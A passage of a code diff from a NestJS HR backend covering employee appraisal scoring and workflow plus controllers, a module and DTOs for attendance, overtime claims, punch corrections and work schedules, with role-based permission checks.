qb.andWhere("appraisal.status = :status", { status: filters.status });
}
const [items, total] = await qb
.orderBy("appraisal.createdAt", "DESC")
.skip((page - 1) * limit)
.take(limit)
.getManyAndCount();
return paginate(items, total, page, limit);
}
/**
* The employee's own assessment.
*
* Scores are recorded but do NOT decide the outcome — the manager's do. Self
* assessment exists so the two views can be compared, which is the point of
* asking for it at all.
*/
async submitSelf(
id: string,
dto: SubmitSelfDto,
actor: ActorContext,
): Promise<Appraisal> {
const appraisal = await this.findOne(id, actor);
if (appraisal.employeeId !== actor.employeeId) {
throw new ForbiddenException("This is not your appraisal.");
}
if (appraisal.status !== EAppraisalStatus.PENDING_SELF) {
throw new BadRequestException(
`Self assessment is not open — this appraisal is ` +
`${appraisal.status.toLowerCase().replace(/_/g, " ")}.`,
);
}
const byCode = new Map(dto.ratings.map((rating) => [rating.code, rating]));
const missing = (appraisal.ratings ?? []).filter(
(rating) => !byCode.has(rating.code),
);
if (missing.length > 0) {
throw new BadRequestException(
`Every criterion needs a score. Missing: ${missing
.map((rating) => rating.code)
.join(", ")}.`,
);
}
await this.dataSource.transaction(async (manager) => {
for (const rating of appraisal.ratings ?? []) {
const input = byCode.get(rating.code)!;
AppraisalService.assertScore(input.score, Number(rating.maxScore), rating.code);
await manager.getRepository(AppraisalRating).update(rating.id, {
selfScore: input.score.toFixed(2),
selfComment: input.comment ?? null,
});
}
const selfScore = AppraisalService.weightedScore(
(appraisal.ratings ?? []).map((rating) => ({
weight: Number(rating.weight),
maxScore: Number(rating.maxScore),
score: byCode.get(rating.code)!.score,
})),
);
await manager.getRepository(Appraisal).update(appraisal.id, {
selfScore: selfScore.toFixed(2),
selfComment: dto.comment ?? null,
selfSubmittedAt: new Date(),
status: EAppraisalStatus.PENDING_MANAGER,
updatedBy: actor.userId,
});
});
return this.findOne(id, actor);
}
/**
* The manager's assessment, which decides the outcome.
*
* Nobody appraises themselves, whatever permission they hold — that is the one
* rule an appraisal process exists to enforce.
*/
async submitManager(
id: string,
dto: SubmitManagerDto,
actor: ActorContext,
): Promise<Appraisal> {
const appraisal = await this.findOne(id, actor);
if (appraisal.status !== EAppraisalStatus.PENDING_MANAGER) {
throw new BadRequestException(
`Manager assessment is not open — this appraisal is ` +
`${appraisal.status.toLowerCase().replace(/_/g, " ")}.`,
);
}
if (appraisal.employeeId === actor.employeeId) {
throw new ForbiddenException("You cannot appraise yourself.");
}
const cycle = await this.requireCycle(appraisal.cycleId, actor);
const template = await this.getTemplate(cycle.templateId, actor);
const byCode = new Map(dto.ratings.map((rating) => [rating.code, rating]));
const missing = (appraisal.ratings ?? []).filter(
(rating) => !byCode.has(rating.code),
);
if (missing.length > 0) {
throw new BadRequestException(
`Every criterion needs a score. Missing: ${missing
.map((rating) => rating.code)
.join(", ")}.`,
);
}
const managerScore = AppraisalService.weightedScore(
(appraisal.ratings ?? []).map((rating) => {
const input = byCode.get(rating.code)!;
AppraisalService.assertScore(input.score, Number(rating.maxScore), rating.code);
return {
weight: Number(rating.weight),
maxScore: Number(rating.maxScore),
score: input.score,
};
}),
);
const rating = AppraisalService.bandFor(managerScore, template.ratingBands);
// Acknowledgement is where the employee gets to reply. Skipping it when the
// template does not require one completes the review immediately.
const nextStatus = template.requiresAcknowledgement
? EAppraisalStatus.PENDING_ACKNOWLEDGEMENT
: EAppraisalStatus.COMPLETED;
await this.dataSource.transaction(async (manager) => {
for (const existing of appraisal.ratings ?? []) {
const input = byCode.get(existing.code)!;
await manager.getRepository(AppraisalRating).update(existing.id, {
managerScore: input.score.toFixed(2),
managerComment: input.comment ?? null,
});
}
for (const goal of dto.goals ?? []) {
if (!goal.id) continue;
await manager.getRepository(AppraisalGoal).update(goal.id, {
achievementPercent:
goal.achievementPercent !== undefined
? goal.achievementPercent.toFixed(2)
: null,
managerComment: goal.comment ?? null,
});
}
await manager.getRepository(Appraisal).update(appraisal.id, {
managerScore: managerScore.toFixed(2),
// The manager's score IS the final score. Averaging it with the
// employee's own would let anyone raise their result by rating
// themselves highly.
finalScore: managerScore.toFixed(2),
finalRating: rating,
managerComment: dto.comment ?? null,
managerSubmittedAt: new Date(),
acknowledgedAt: nextStatus === EAppraisalStatus.COMPLETED ? new Date() : null,
status: nextStatus,
updatedBy: actor.userId,
});
});
return this.findOne(id, actor);
}
/** The employee's right of reply. Cannot change the score. */
async acknowledge(
id: string,
comment: string | undefined,
actor: ActorContext,
): Promise<Appraisal> {
const appraisal = await this.findOne(id, actor);
if (appraisal.employeeId !== actor.employeeId) {
throw new ForbiddenException("This is not your appraisal.");
}
if (appraisal.status !== EAppraisalStatus.PENDING_ACKNOWLEDGEMENT) {
throw new BadRequestException(
`There is nothing to acknowledge — this appraisal is ` +
`${appraisal.status.toLowerCase().replace(/_/g, " ")}.`,
);
}
await this.appraisals.update(id, {
employeeComment: comment ?? null,
acknowledgedAt: new Date(),
status: EAppraisalStatus.COMPLETED,
updatedBy: actor.userId,
});
return this.findOne(id, actor);
}
async addGoal(
appraisalId: string,
dto: { title: string; description?: string; target?: string; weight?: string },
actor: ActorContext,
): Promise<AppraisalGoal> {
const appraisal = await this.findOne(appraisalId, actor);
if (appraisal.status === EAppraisalStatus.COMPLETED) {
throw new BadRequestException(
"This appraisal is complete; goals cannot be added to it now.",
);
}
const count = await this.goals.count({ where: { appraisalId } });
return this.goals.save(
this.goals.create({
appraisalId,
...dto,
sortOrder: (count + 1) * 10,
} as unknown as Partial<AppraisalGoal>),
);
}
// ────────────────────────────────────────────────────────────────────────
/**
* The weighted percentage.
*
* Each criterion contributes `score / maxScore × weight`. With weights totalling
* 100 the result is directly a percentage, which is why the total is enforced.
*/
static weightedScore(
entries: { weight: number; maxScore: number; score: number }[],
): number {
const total = entries.reduce((sum, entry) => {
if (entry.maxScore <= 0) return sum;
return sum + (entry.score / entry.maxScore) * entry.weight;
}, 0);
return round2(Math.min(100, Math.max(0, total)));
}
/** The band a percentage falls in. Highest matching band wins. */
static bandFor(score: number, bands: RatingBand[]): string | null {
const sorted = [...(bands ?? [])].sort((a, b) => b.min - a.min);
const band = sorted.find((entry) => score >= entry.min);
return band?.label?.en ?? null;
}
private static assertWeights(weights: number[]): void {
if (weights.length === 0) {
throw new BadRequestException("A template needs at least one criterion.");
}
const total = round2(weights.reduce((sum, weight) => sum + weight, 0));
if (total !== REQUIRED_WEIGHT_TOTAL) {
throw new BadRequestException(
`Criterion weights must total ${REQUIRED_WEIGHT_TOTAL}, not ${total}. ` +
"Otherwise a score cannot be read as a percentage or compared between " +
"employees.",
);
}
}
private static assertBands(bands: RatingBand[]): void {
for (const band of bands) {
if (band.min < 0 || band.min > 100) {
throw new BadRequestException(
`Rating band "${band.label?.en}" starts at ${band.min}; bands are ` +
"percentages between 0 and 100.",
);
}
}
}
private static assertScore(score: number, maxScore: number, code: string): void {
if (score < 0 || score > maxScore) {
throw new BadRequestException(
`${code} scored ${score}, but the scale runs 0 to ${maxScore}.`,
);
}
}
/** Employed people with an HR profile — a terminated employee is not appraised. */
private async eligibleEmployees(organizationId: string): Promise<string[]> {
const rows = await this.dataSource.query<{ employeeId: string }[]>(
`SELECT p."employee_id" AS "employeeId"
FROM hr.employee_profiles p
JOIN iam.employees e ON e.id = p."employee_id"
WHERE p."deleted_at" IS NULL
AND e."organization_id" = $1::uuid
AND p."employment_state" NOT IN ('TERMINATED','RETIRED')`,
[organizationId],
);
return rows.map((row) => row.employeeId);
}
private requireOrg(actor: ActorContext): string {
const organizationId = orgScope(actor) ?? actor.organizationId;
if (!organizationId) {
throw new BadRequestException(
"This account has no organization, and an appraisal template belongs to one.",
);
}
return organizationId;
}
private async requireCycle(id: string, actor: ActorContext): Promise<AppraisalCycle> {
const cycle = await this.cycles.findOne({ where: { id } });
if (!cycle) throw new NotFoundException(`Cycle ${id} not found`);
const scope = orgScope(actor);
if (scope && cycle.organizationId !== scope) {
throw new NotFoundException(`Cycle ${id} not found`);
}
return cycle;
}
}

View File

@@ -0,0 +1,71 @@
import { Module } from "@nestjs/common";
import { TypeOrmModule } from "@nestjs/typeorm";
import { WorkSchedule } from "./entities/work-schedule.entity";
import { WorkScheduleAssignment } from "./entities/work-schedule-assignment.entity";
import { AttendanceRecord } from "./entities/attendance-record.entity";
import { AttendanceRegularization } from "./entities/attendance-regularization.entity";
import { OvertimeRate, OvertimeRequest } from "./entities/overtime.entity";
import {
WorkScheduleAssignmentsRepository,
WorkSchedulesRepository,
} from "./repositories/work-schedules.repository";
import { AttendanceRepository } from "./repositories/attendance.repository";
import { WorkSchedulesService } from "./services/work-schedules.service";
import { AttendanceService } from "./services/attendance.service";
import { AttendanceDayService } from "./services/attendance-day.service";
import { OvertimeService } from "./services/overtime.service";
import { RegularizationsService } from "./services/regularizations.service";
import { WorkSchedulesController } from "./controllers/work-schedules.controller";
import { AttendanceController } from "./controllers/attendance.controller";
import { OvertimeController } from "./controllers/overtime.controller";
import { RegularizationsController } from "./controllers/regularizations.controller";
import { LeaveModule } from "../leave/leave.module";
import { EmployeesModule } from "../employees/employees.module";
/**
* Module 3.3 slice 1.
*
* Depends on LeaveModule rather than re-deriving the calendar: the working week,
* the holidays and approved leave all live there, and a second implementation
* would eventually disagree with the first about whether a given day was
* workable.
*/
@Module({
imports: [
TypeOrmModule.forFeature([
WorkSchedule,
WorkScheduleAssignment,
AttendanceRecord,
AttendanceRegularization,
OvertimeRate,
OvertimeRequest,
]),
LeaveModule,
EmployeesModule,
],
controllers: [
WorkSchedulesController,
AttendanceController,
OvertimeController,
RegularizationsController,
],
providers: [
WorkSchedulesRepository,
WorkScheduleAssignmentsRepository,
AttendanceRepository,
WorkSchedulesService,
AttendanceService,
AttendanceDayService,
OvertimeService,
RegularizationsService,
],
// Payroll (3.4) prices overtime and absence from these records.
exports: [
AttendanceService,
WorkSchedulesService,
AttendanceRepository,
OvertimeService,
],
})
export class AttendanceModule {}

View File

@@ -0,0 +1,228 @@
import {
Body,
Controller,
ForbiddenException,
Get,
Param,
ParseIntPipe,
ParseUUIDPipe,
Post,
Query,
} from "@nestjs/common";
import {
ApiBearerAuth,
ApiOperation,
ApiQuery,
ApiResponse,
ApiTags,
} from "@nestjs/swagger";
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
import { HrStaff } from "../../../common/hr-guards";
import { actorFrom } from "../../../common/current-actor.util";
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
import { hasHrPermission } from "../../../common/hr-permission.util";
import { AttendanceService } from "../services/attendance.service";
import {
EAttendanceSource,
EAttendanceStatus,
} from "../entities/attendance-record.entity";
import { PunchDto, RecordAttendanceDto } from "../dto/attendance.dto";
@ApiTags("attendance")
@ApiBearerAuth()
@Controller("attendance")
@HrStaff([
HR_PERMS.attendance.record,
HR_PERMS.attendance.viewOwn,
HR_PERMS.attendance.viewAll,
])
export class AttendanceController {
constructor(private readonly attendance: AttendanceService) {}
@Post("check-in")
@HrStaff(HR_PERMS.attendance.viewOwn)
@ApiOperation({
summary: "Clock in",
description:
"Refuses a second check-in for the same day rather than overwriting the " +
"first — the earliest punch decides lateness. Also refuses a day already " +
"covered by approved leave.",
})
@ApiResponse({ status: 409, description: "Already checked in, or on leave" })
checkIn(@Body() dto: PunchDto, @CurrentUser() user: TCurrentUser) {
const actor = actorFrom(user);
const employeeId = this.resolveTarget(dto.employeeId, actor, user);
return this.attendance.checkIn(
employeeId,
dto.at ? new Date(dto.at) : new Date(),
dto.source ?? EAttendanceSource.WEB,
actor,
dto.notes,
);
}
@Post("check-out")
@HrStaff(HR_PERMS.attendance.viewOwn)
@ApiOperation({
summary: "Clock out",
description:
"Settles the day: worked minutes less the scheduled break, lateness past " +
"the grace period, and the resulting status.",
})
checkOut(@Body() dto: PunchDto, @CurrentUser() user: TCurrentUser) {
const actor = actorFrom(user);
const employeeId = this.resolveTarget(dto.employeeId, actor, user);
return this.attendance.checkOut(
employeeId,
dto.at ? new Date(dto.at) : new Date(),
dto.source ?? EAttendanceSource.WEB,
actor,
dto.notes,
);
}
@Get("today")
@HrStaff(HR_PERMS.attendance.viewOwn)
@ApiOperation({ summary: "My record for today — what the clock widget shows" })
today(@CurrentUser() user: TCurrentUser) {
const actor = actorFrom(user);
if (!actor.employeeId) {
throw new ForbiddenException(
"This account has no employee record, so it has no attendance.",
);
}
return this.attendance.today(actor.employeeId, new Date());
}
@Get("mine")
@HrStaff(HR_PERMS.attendance.viewOwn)
@ApiOperation({ summary: "My attendance over a range" })
@ApiQuery({ name: "from", required: true })
@ApiQuery({ name: "to", required: true })
mine(
@CurrentUser() user: TCurrentUser,
@Query("from") from: string,
@Query("to") to: string,
) {
const actor = actorFrom(user);
if (!actor.employeeId) {
throw new ForbiddenException(
"This account has no employee record, so it has no attendance.",
);
}
return this.attendance.findRange(actor.employeeId, from, to);
}
@Get("summary")
@HrStaff(HR_PERMS.attendance.viewOwn)
@ApiOperation({
summary: "Counts by status over a range",
description: "Omit employeeId for the whole organisation (needs view-all).",
})
@ApiQuery({ name: "employeeId", required: false })
summary(
@CurrentUser() user: TCurrentUser,
@Query("from") from: string,
@Query("to") to: string,
@Query("employeeId") employeeId?: string,
) {
const actor = actorFrom(user);
// Without view-all, the summary is scoped to the caller whatever they ask
// for — otherwise it is an aggregate leak of everyone else's attendance.
const scoped = hasHrPermission(user, HR_PERMS.attendance.viewAll)
? employeeId
: (actor.employeeId ?? undefined);
return this.attendance.summary(from, to, actor, scoped);
}
@Get()
@HrStaff(HR_PERMS.attendance.viewAll)
@ApiOperation({ summary: "All attendance records" })
@ApiQuery({ name: "employeeId", required: false })
@ApiQuery({ name: "status", required: false, enum: EAttendanceStatus })
findAll(
@CurrentUser() user: TCurrentUser,
@Query("employeeId") employeeId?: string,
@Query("status") status?: EAttendanceStatus,
@Query("from") from?: string,
@Query("to") to?: string,
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
) {
return this.attendance.findAll(
{ employeeId, status, from, to, page, limit },
actorFrom(user),
);
}
@Get("employee/:employeeId")
@HrStaff(HR_PERMS.attendance.viewAll)
@ApiOperation({ summary: "One employee's attendance over a range" })
forEmployee(
@Param("employeeId", ParseUUIDPipe) employeeId: string,
@Query("from") from: string,
@Query("to") to: string,
) {
return this.attendance.findRange(employeeId, from, to);
}
@Post("record")
@HrStaff(HR_PERMS.attendance.record)
@ApiOperation({
summary: "Record a day by hand",
description:
"For an administrator filling a gap. Recorded with source MANUAL so a " +
"report can tell asserted attendance from observed attendance.",
})
record(@Body() dto: RecordAttendanceDto, @CurrentUser() user: TCurrentUser) {
return this.attendance.recordManually(dto, actorFrom(user));
}
@Post("backfill/:employeeId")
@HrStaff(HR_PERMS.attendance.record)
@ApiOperation({
summary: "Fill in the days nobody punched for",
description:
"Classifies each missing day as a rest day, holiday, approved leave or " +
"absence. Never touches an existing record, so it is safe to re-run.",
})
@ApiResponse({ status: 201, description: "{ created, skipped, byStatus }" })
backfill(
@Param("employeeId", ParseUUIDPipe) employeeId: string,
@Query("from") from: string,
@Query("to") to: string,
@CurrentUser() user: TCurrentUser,
) {
return this.attendance.backfill(employeeId, from, to, actorFrom(user));
}
/**
* Punching for somebody else is an administrative act, not self-service.
* Without the record permission the target is always the caller — supplying
* another id is refused rather than quietly ignored, since silently punching
* for the wrong person is worse than an error.
*/
private resolveTarget(
requested: string | undefined,
actor: ReturnType<typeof actorFrom>,
user: TCurrentUser,
): string {
if (!requested || requested === actor.employeeId) {
if (!actor.employeeId) {
throw new ForbiddenException(
"This account has no employee record, so it cannot clock in or out.",
);
}
return actor.employeeId;
}
if (!hasHrPermission(user, HR_PERMS.attendance.record)) {
throw new ForbiddenException(
"Recording attendance for another employee needs the attendance-record " +
"permission.",
);
}
return requested;
}
}

View File

@@ -0,0 +1,199 @@
import {
Body,
Controller,
Get,
Param,
ParseIntPipe,
ParseUUIDPipe,
Patch,
Post,
Query,
} from "@nestjs/common";
import {
ApiBearerAuth,
ApiOperation,
ApiQuery,
ApiResponse,
ApiTags,
} from "@nestjs/swagger";
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
import { HrStaff } from "../../../common/hr-guards";
import { actorFrom } from "../../../common/current-actor.util";
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
import { OvertimeService } from "../services/overtime.service";
import { EOvertimeStatus } from "../entities/overtime.entity";
import {
CreateOvertimeDto,
DecideDto,
RejectDto,
UpdateOvertimeRateDto,
} from "../dto/overtime.dto";
@ApiTags("overtime")
@ApiBearerAuth()
@Controller("overtime")
@HrStaff([
HR_PERMS.attendance.requestOvertime,
HR_PERMS.attendance.approveOvertime,
HR_PERMS.attendance.viewOwn,
HR_PERMS.attendance.viewAll,
])
export class OvertimeController {
constructor(private readonly overtime: OvertimeService) {}
@Get("rates")
@HrStaff(HR_PERMS.attendance.viewOwn)
@ApiOperation({
summary: "The premiums paid for each category",
description:
"Visible to anyone who can claim overtime — the multiplier is what their " +
"claim is worth.",
})
rates(@CurrentUser() user: TCurrentUser) {
return this.overtime.listRates(actorFrom(user));
}
@Post("rates/seed-statutory")
@HrStaff(HR_PERMS.attendance.approveOvertime)
@ApiOperation({
summary: "Seed the statutory premiums",
description:
"Proclamation 1156/2019 Art. 68 — 1.5× ordinary, 1.75× night, 2× on a " +
"rest day, 2.5× on a public holiday. Idempotent; an existing rate is " +
"never lowered back to the floor.",
})
seed(@CurrentUser() user: TCurrentUser) {
return this.overtime.seedStatutory(actorFrom(user));
}
@Patch("rates/:id")
@HrStaff(HR_PERMS.attendance.approveOvertime)
@ApiOperation({
summary: "Change a premium",
description: "Refused below the statutory floor for that category.",
})
updateRate(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: UpdateOvertimeRateDto,
@CurrentUser() user: TCurrentUser,
) {
return this.overtime.updateRate(id, dto, actorFrom(user));
}
@Post()
@HrStaff(HR_PERMS.attendance.requestOvertime)
@ApiOperation({
summary: "Claim overtime",
description:
"The category is derived from when the work happened, not chosen — a " +
"public holiday beats a rest day, which beats night, which beats " +
"ordinary. The multiplier is frozen on the claim at this moment.",
})
@ApiResponse({
status: 400,
description: "Over the daily, monthly or annual cap in Art. 67",
})
create(@Body() dto: CreateOvertimeDto, @CurrentUser() user: TCurrentUser) {
return this.overtime.create(dto, actorFrom(user));
}
@Get("mine")
@HrStaff(HR_PERMS.attendance.viewOwn)
@ApiOperation({ summary: "My overtime claims" })
mine(
@CurrentUser() user: TCurrentUser,
@Query("status") status?: EOvertimeStatus,
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
) {
const actor = actorFrom(user);
return this.overtime.findAll(
{ employeeId: actor.employeeId ?? "", status, page, limit },
actor,
);
}
@Get("awaiting-me")
@HrStaff(HR_PERMS.attendance.approveOvertime)
@ApiOperation({ summary: "Claims waiting on my decision" })
awaitingMe(
@CurrentUser() user: TCurrentUser,
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
) {
return this.overtime.findAwaitingMe(actorFrom(user), page, limit);
}
@Get()
@HrStaff(HR_PERMS.attendance.viewAll)
@ApiOperation({ summary: "All overtime claims" })
@ApiQuery({ name: "employeeId", required: false })
@ApiQuery({ name: "status", required: false, enum: EOvertimeStatus })
findAll(
@CurrentUser() user: TCurrentUser,
@Query("employeeId") employeeId?: string,
@Query("status") status?: EOvertimeStatus,
@Query("from") from?: string,
@Query("to") to?: string,
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
) {
return this.overtime.findAll(
{ employeeId, status, from, to, page, limit },
actorFrom(user),
);
}
@Get("totals/:employeeId")
@HrStaff(HR_PERMS.attendance.viewAll)
@ApiOperation({
summary: "Approved hours by category for a period",
description: "What payroll multiplies. Approved claims only.",
})
totals(
@Param("employeeId", ParseUUIDPipe) employeeId: string,
@Query("from") from: string,
@Query("to") to: string,
) {
return this.overtime.approvedTotals(employeeId, from, to);
}
@Patch(":id/approve")
@HrStaff(HR_PERMS.attendance.approveOvertime)
@ApiOperation({
summary: "Approve a claim",
description:
"Caps are re-checked here: other claims may have been approved since this " +
"one was filed, and the monthly ceiling is about the total.",
})
approve(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: DecideDto,
@CurrentUser() user: TCurrentUser,
) {
return this.overtime.approve(id, dto.note, actorFrom(user));
}
@Patch(":id/reject")
@HrStaff(HR_PERMS.attendance.approveOvertime)
@ApiOperation({ summary: "Reject a claim, with a reason" })
reject(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: RejectDto,
@CurrentUser() user: TCurrentUser,
) {
return this.overtime.reject(id, dto.note, actorFrom(user));
}
@Patch(":id/withdraw")
@HrStaff(HR_PERMS.attendance.requestOvertime)
@ApiOperation({ summary: "Withdraw a claim before a decision" })
withdraw(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.overtime.withdraw(id, actorFrom(user));
}
}

View File

@@ -0,0 +1,138 @@
import {
Body,
Controller,
Get,
Param,
ParseIntPipe,
ParseUUIDPipe,
Patch,
Post,
Query,
} from "@nestjs/common";
import {
ApiBearerAuth,
ApiOperation,
ApiQuery,
ApiTags,
} from "@nestjs/swagger";
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
import { HrStaff } from "../../../common/hr-guards";
import { actorFrom } from "../../../common/current-actor.util";
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
import { RegularizationsService } from "../services/regularizations.service";
import { ERegularizationStatus } from "../entities/attendance-regularization.entity";
import { CreateRegularizationDto } from "../dto/regularization.dto";
import { DecideDto, RejectDto } from "../dto/overtime.dto";
@ApiTags("attendance-regularizations")
@ApiBearerAuth()
@Controller("attendance-regularizations")
@HrStaff([
HR_PERMS.attendance.regularize,
HR_PERMS.attendance.approveRegularization,
HR_PERMS.attendance.viewOwn,
HR_PERMS.attendance.viewAll,
])
export class RegularizationsController {
constructor(private readonly regularizations: RegularizationsService) {}
@Post()
@HrStaff(HR_PERMS.attendance.regularize)
@ApiOperation({
summary: "Ask to correct a punch",
description:
"For a forgotten clock-in, a mis-clock, or a device that was down. " +
"Nothing changes until it is approved.",
})
create(
@Body() dto: CreateRegularizationDto,
@CurrentUser() user: TCurrentUser,
) {
return this.regularizations.create(dto, actorFrom(user));
}
@Get("mine")
@HrStaff(HR_PERMS.attendance.viewOwn)
@ApiOperation({ summary: "My corrections" })
mine(
@CurrentUser() user: TCurrentUser,
@Query("status") status?: ERegularizationStatus,
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
) {
const actor = actorFrom(user);
return this.regularizations.findAll(
{ employeeId: actor.employeeId ?? "", status, page, limit },
actor,
);
}
@Get("awaiting-me")
@HrStaff(HR_PERMS.attendance.approveRegularization)
@ApiOperation({ summary: "Corrections waiting on my decision" })
awaitingMe(
@CurrentUser() user: TCurrentUser,
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
) {
return this.regularizations.findAwaitingMe(actorFrom(user), page, limit);
}
@Get()
@HrStaff(HR_PERMS.attendance.viewAll)
@ApiOperation({ summary: "All corrections" })
@ApiQuery({ name: "employeeId", required: false })
@ApiQuery({ name: "status", required: false, enum: ERegularizationStatus })
findAll(
@CurrentUser() user: TCurrentUser,
@Query("employeeId") employeeId?: string,
@Query("status") status?: ERegularizationStatus,
@Query("page", new ParseIntPipe({ optional: true })) page?: number,
@Query("limit", new ParseIntPipe({ optional: true })) limit?: number,
) {
return this.regularizations.findAll(
{ employeeId, status, page, limit },
actorFrom(user),
);
}
@Patch(":id/approve")
@HrStaff(HR_PERMS.attendance.approveRegularization)
@ApiOperation({
summary: "Approve and apply the correction",
description:
"The record is updated in the same transaction, and the values being " +
"replaced are copied onto the request first — so what it said before " +
"stays answerable.",
})
approve(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: DecideDto,
@CurrentUser() user: TCurrentUser,
) {
return this.regularizations.approve(id, dto.note, actorFrom(user));
}
@Patch(":id/reject")
@HrStaff(HR_PERMS.attendance.approveRegularization)
@ApiOperation({ summary: "Reject, with a reason" })
reject(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: RejectDto,
@CurrentUser() user: TCurrentUser,
) {
return this.regularizations.reject(id, dto.note, actorFrom(user));
}
@Patch(":id/withdraw")
@HrStaff(HR_PERMS.attendance.regularize)
@ApiOperation({ summary: "Withdraw before a decision" })
withdraw(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.regularizations.withdraw(id, actorFrom(user));
}
}

View File

@@ -0,0 +1,103 @@
import {
Body,
Controller,
Delete,
Get,
HttpCode,
HttpStatus,
Param,
ParseUUIDPipe,
Patch,
Post,
} from "@nestjs/common";
import { ApiBearerAuth, ApiOperation, ApiTags } from "@nestjs/swagger";
import { CurrentUser } from "@tria-plc/api-common/modules/auth/decorators/current-user.decorator";
import type { TCurrentUser } from "@tria-plc/api-common/modules/auth/types/current-user.type";
import { HrStaff } from "../../../common/hr-guards";
import { actorFrom } from "../../../common/current-actor.util";
import { HR_PERMS } from "../../../seed/hr-permissions.registry";
import { WorkSchedulesService } from "../services/work-schedules.service";
import {
AssignScheduleDto,
CreateWorkScheduleDto,
UpdateWorkScheduleDto,
} from "../dto/work-schedule.dto";
@ApiTags("work-schedules")
@ApiBearerAuth()
@Controller("work-schedules")
@HrStaff([HR_PERMS.attendance.manageWorkSchedule, HR_PERMS.attendance.viewOwn])
export class WorkSchedulesController {
constructor(private readonly schedules: WorkSchedulesService) {}
@Get()
// Readable by anyone who can see their own attendance: the schedule is what
// decides whether they were late, so hiding it makes the verdict arbitrary.
@HrStaff(HR_PERMS.attendance.viewOwn)
@ApiOperation({ summary: "Shift patterns" })
findAll(@CurrentUser() user: TCurrentUser) {
return this.schedules.findAll(actorFrom(user));
}
@Get(":id")
@HrStaff(HR_PERMS.attendance.viewOwn)
@ApiOperation({ summary: "One shift pattern" })
findOne(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.schedules.findOne(id, actorFrom(user));
}
@Post()
@HrStaff(HR_PERMS.attendance.manageWorkSchedule)
@ApiOperation({ summary: "Add a shift pattern" })
create(@Body() dto: CreateWorkScheduleDto, @CurrentUser() user: TCurrentUser) {
return this.schedules.create(dto, actorFrom(user));
}
@Patch(":id")
@HrStaff(HR_PERMS.attendance.manageWorkSchedule)
@ApiOperation({ summary: "Change a shift pattern" })
update(
@Param("id", ParseUUIDPipe) id: string,
@Body() dto: UpdateWorkScheduleDto,
@CurrentUser() user: TCurrentUser,
) {
return this.schedules.update(id, dto, actorFrom(user));
}
@Delete(":id")
@HrStaff(HR_PERMS.attendance.manageWorkSchedule)
@HttpCode(HttpStatus.NO_CONTENT)
@ApiOperation({
summary: "Retire a shift pattern",
description: "Refused while anyone is still assigned to it.",
})
remove(
@Param("id", ParseUUIDPipe) id: string,
@CurrentUser() user: TCurrentUser,
) {
return this.schedules.remove(id, actorFrom(user));
}
@Post("assign")
@HrStaff(HR_PERMS.attendance.manageWorkSchedule)
@ApiOperation({
summary: "Put an employee on a shift pattern",
description:
"Closes their current assignment the day before, so attendance already " +
"recorded keeps being judged against the schedule that actually applied.",
})
assign(@Body() dto: AssignScheduleDto, @CurrentUser() user: TCurrentUser) {
return this.schedules.assign(dto, actorFrom(user));
}
@Get("assignments/:employeeId")
@HrStaff(HR_PERMS.attendance.viewAll)
@ApiOperation({ summary: "An employee's shift history" })
history(@Param("employeeId", ParseUUIDPipe) employeeId: string) {
return this.schedules.history(employeeId);
}
}

View File

@@ -0,0 +1,78 @@
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
import {
IsDateString,
IsEnum,
IsOptional,
IsString,
IsUUID,
MaxLength,
} from "class-validator";
import {
EAttendanceSource,
EAttendanceStatus,
} from "../entities/attendance-record.entity";
export class PunchDto {
@ApiPropertyOptional({
format: "uuid",
description: "Omit to punch for yourself. Supplying it needs the record permission.",
})
@IsOptional()
@IsUUID()
employeeId?: string;
@ApiPropertyOptional({
description: "ISO instant. Defaults to now — supply it only for a device sync.",
})
@IsOptional()
@IsDateString()
at?: string;
@ApiPropertyOptional({ enum: EAttendanceSource, default: EAttendanceSource.WEB })
@IsOptional()
@IsEnum(EAttendanceSource)
source?: EAttendanceSource;
@ApiPropertyOptional({ maxLength: 512 })
@IsOptional()
@IsString()
@MaxLength(512)
notes?: string;
}
export class RecordAttendanceDto {
@ApiProperty({ format: "uuid" })
@IsUUID()
employeeId!: string;
@ApiProperty({ format: "date" })
@IsDateString()
workDate!: string;
@ApiPropertyOptional({ description: "ISO instant." })
@IsOptional()
@IsDateString()
checkIn?: string;
@ApiPropertyOptional({ description: "ISO instant." })
@IsOptional()
@IsDateString()
checkOut?: string;
@ApiPropertyOptional({
enum: EAttendanceStatus,
description:
"Override the derived status. ON_LEAVE is refused unless approved leave " +
"actually covers the date.",
})
@IsOptional()
@IsEnum(EAttendanceStatus)
status?: EAttendanceStatus;
@ApiPropertyOptional({ maxLength: 512 })
@IsOptional()
@IsString()
@MaxLength(512)
notes?: string;
}

View File

@@ -0,0 +1,70 @@
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
import {
IsDateString,
IsNumberString,
IsOptional,
IsString,
